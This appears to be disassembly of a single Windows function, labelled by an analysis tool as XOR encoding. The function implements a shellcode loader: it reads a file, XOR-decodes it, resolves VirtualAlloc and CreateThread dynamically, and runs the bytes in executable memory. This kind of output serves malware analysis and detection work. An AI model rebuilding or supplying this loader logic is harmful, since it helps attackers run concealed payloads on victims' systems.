Function at 0x10001220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100040c0
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x10007040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0xb8
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push esi
lea ecx, [ebp - 0xe0]
call fcn.100020a0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x84], 0
jne 0x1000129e
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_file:
push 0x100027f0
call fcn.100025d0
push ecx
mov edx, esi
mov ecx, eax
jmp 0x10001465
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
adc eax, dword [ebp - 0x24]
push ecx
mov dword [ebp - 0xf4], eax
call fcn.10003311
mov ecx, dword [ebp - 0x20]
add esp, 4
add ecx, dword [ebp - 0x28]
mov ebx, eax
mov eax, dword [ebp - 0x1c]
adc eax, dword [ebp - 0x24]
push eax
push ecx
push ebx
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xd0]
call fcn.10002480
test eax, eax
jne 0x1000131f
push eax
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
adc eax, dword [ebp - 0x24]
xor ecx, ecx
mov dword [ebp - 0xf4], eax
test edx, edx
je 0x10001353
nop word [eax + eax]
mov eax, ecx
and eax, 3
mov al, byte [eax + 0x100053a8]
xor byte [ebx + ecx], al
inc ecx
cmp ecx, edx
jb 0x10001340
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Code_loaded_successfully_from_file:
push 0x100027f0
call fcn.100025d0
push ecx
mov edx, esi
mov ecx, eax
call fcn.100025d0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x20]
push str.kernel32.dll
mov dword [ebp - 0xe4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.VirtualAlloc
push edi
call esi
push str.CreateThread
push edi
mov dword [ebp - 0xec], eax
call esi
push str.WaitForSingleObject
push edi
mov dword [ebp - 0xe8], eax
call esi
push str.CloseHandle
push edi
mov dword [ebp - 0xf0], eax
call esi
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xf4], eax
test ecx, ecx
je 0x10001454
cmp dword [ebp - 0xe8], 0
je 0x10001454
mov edi, dword [ebp - 0xf0]
test edi, edi
je 0x10001454
test eax, eax
je 0x10001454
push 0x40
push 0x1000
push dword [ebp - 0xe4]
push 0
call ecx
mov esi, eax
test esi, esi
jne 0x10001413
mov edx, str.Failed_to_allocate_memory
jmp 0x10001459
push dword [ebp - 0xe4]
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [ebp - 0xe8]
mov esi, eax
test esi, esi
jne 0x10001441
mov edx, str.Failed_to_create_thread
jmp 0x10001459
push 0xffffffffffffffff
push esi
call edi
push esi
call dword [ebp - 0xf4]
mov esi, 1
jmp 0x10001477
mov edx, str.Failed_to_retrieve_API_addresses
push 0x100027f0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.100025d0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor esi, esi
lea ecx, [ebp - 0xe0]
call fcn.100014a0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100032a2
mov esp, ebp
pop ebp
ret